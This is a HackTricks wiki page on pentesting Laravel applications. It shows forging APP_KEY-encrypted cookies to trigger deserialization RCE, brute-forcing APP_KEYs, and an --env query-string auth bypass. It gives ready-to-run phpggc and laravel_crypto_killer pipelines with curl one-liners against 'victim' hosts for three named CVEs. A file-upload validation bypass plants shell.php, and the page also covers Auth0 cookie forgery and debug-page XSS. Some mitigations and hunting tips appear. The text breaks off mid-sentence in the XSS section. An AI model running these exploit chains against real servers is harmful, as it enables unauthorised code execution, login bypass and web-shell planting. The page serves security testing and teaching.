---
title: "Laravel"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-web/laravel.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/laravel.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# Laravel
## Laravel SQL injection
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)[[13]](#references)
---
## APP_KEY & Encryption internals (Laravel >=5.6)
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\Encryption\Encrypter`).
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, β¦)**.[[1]](#references)[[2]](#references)
Minimal PoC (framework β₯9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, β¦).
---
## laravel-crypto-killer π§¨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the process and adds a convenient **brute-force** mode:[[3]](#references)
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k -v
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## Real-world vulnerable patterns
| Project | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja β€v5 (CVE-2024-55555) | `/route/{hash}` β `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT β€v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` β `laravel_session` cookie | Laravel/RCE15 |
The exploitation workflow is always:[[1]](#references)[[2]](#references)
1. Obtain or brute-force the 32-byte `APP_KEY`.
2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).[[4]](#references)
3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`.
4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session β¦) to trigger **RCE**.
Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:[[1]](#references)[[2]](#references)
```bash
# Invoice Ninja β€5 β /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT β€6 β XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater β cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt
curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
Because every fresh Laravel response sets at least one encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, β¦) leak millions of ciphertexts** that can be attacked offline.[[1]](#references)
Key findings of the research published by Synacktiv (2024-2025):[[1]](#references)[[2]](#references)
* Dataset July 2024 Β» 580 k tokens, **3.99 % keys cracked** (β23 k)
* Dataset May 2025 Β» 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* Huge key reuse β the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, β¦).
The private Go tool **nounours** pushes AES-CBC/GCM brute-force throughput to about 1.5 billion attempts per second, reducing full-dataset cracking to under two minutes.[[1]](#references)[[2]](#references)
## CVE-2024-52301 β HTTP argv/env override β auth bypass
When PHPβs `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these βCLI-likeβ args and honored `--env=` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:[[6]](#references)[[7]](#references)
- Quick check:
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.[[8]](#references)
- Impact example (business logic trusting a special env):
- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
- `POST /login?--env=preprod`[[8]](#references)
- Notes:
- Works per-request, no persistence.
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
- Useful primitive to surface more verbose errors in βdebugβ envs or to trigger environment-gated code paths.
- Mitigations:
- Disable `register_argc_argv` for PHP-FPM/Apache.
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
Minimal exploitation flow (Burp):[[8]](#references)
```http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
```
---
## CVE-2025-27515 β Wildcard file validation bypass (`files.*`)
Laravel 10.0β10.48.28, 11.0.0β11.44.0 and 12.0.0β12.1.0 let crafted multipart requests completely skip any rule attached to `files.*` / `images.*`.[[9]](#references) The parser that expands wildcard keys could be confused with attacker-controlled placeholders (for example, pre-populating `__asterisk__` segments), so the framework would hydrate `UploadedFile` objects without ever running `image`, `mimes`, `dimensions`, `max`, etc. Once a malicious blob lands in `Storage::putFile*` you can pivot to any of the file-upload primitives already listed in HackTricks (web shells, log poisoning, signed job deserialization, β¦).
### Hunting for the pattern
* Static: `rg -n "files\\.\*" -g"*.php" app/` or inspect `FormRequest` classes for `rules()` returning arrays that contain `files.*`.
* Dynamic: hook `Illuminate\Validation\Validator::validate()` via Xdebug or Laravel Telescope in pre-production to log every request that hits the vulnerable rule.
* Middleware/route review: endpoints bundling multiple files (avatar importers, document portals, drag-n-drop components) tend to trust `files.*`.
### Practical exploitation workflow
1. Capture a legitimate upload and replay it in Burp Repeater.
2. Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., `files[0][__asterisk__payload]`) or nest another array (`files[0][alt][0]`). On vulnerable builds, that second part never gets validated but still becomes an `UploadedFile` entry.
3. Point the forged file to a PHP payload (`shell.php`, `.phar`, polyglot) and force the application to store it in a web-accessible disk (commonly `public/` once `php artisan storage:link` is enabled).
```bash
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'
```
Keep fuzzing key names (`files.__dot__0`, `files[0][0]`, `files[0][uuid]` β¦) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
---
## Ecosystem package vulns worth chaining (2025)
### CVE-2025-47275 β Auth0-PHP CookieStore tag brute-force (affects `auth0/laravel-auth0`)
If the project uses **Auth0** login with the default CookieStore backend and `auth0/auth0-php` < **8.14.0**, the GCM tag on the `auth0` session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set `"sub":"auth0|admin"` and `app_metadata.roles`), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: `composer.lock` shows `auth0/auth0-php` <8.14.0 and `.env` has `AUTH0_SESSION_STORAGE=cookie`.[[11]](#references)
### CVE-2025-48490 β `lomkit/laravel-rest-api` validation override
The `lomkit/laravel-rest-api` package before **2.13.0** merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite `filter` rules during an `update` action), leading to mass assignment or unvalidated SQL-ish filters.[[12]](#references) Practical checks:
* `composer.lock` lists `lomkit/laravel-rest-api` <2.13.0.
* `/_rest/users?filters[0][column]=password&filters[0][operator]==` is accepted instead of rejected, showing filter validation was bypassed.
---
## Laravel Tricks
### Debugging mode
If Laravel is in **debug mode**, error pages may expose **source code**, configuration, and **sensitive data**.\
For example `http://127.0.0.1:8000/profiles`:

This is usually needed for exploiting other Laravel RCE CVEs.
#### CVE-2024-13918 / CVE-2024-13919 β reflected XSS in Whoops debug pages
* Affected: Laravel 11.9.0β11.35.1 with `APP_DEBUG=true` (either globally or forced via misconfigured env overrides like CVE-2024-52301).[[10]](#references)
* Primitive: every uncaught exception rendered by Whoops echoes parts of the request/route **without HTML encoding**, so injecting `
` / `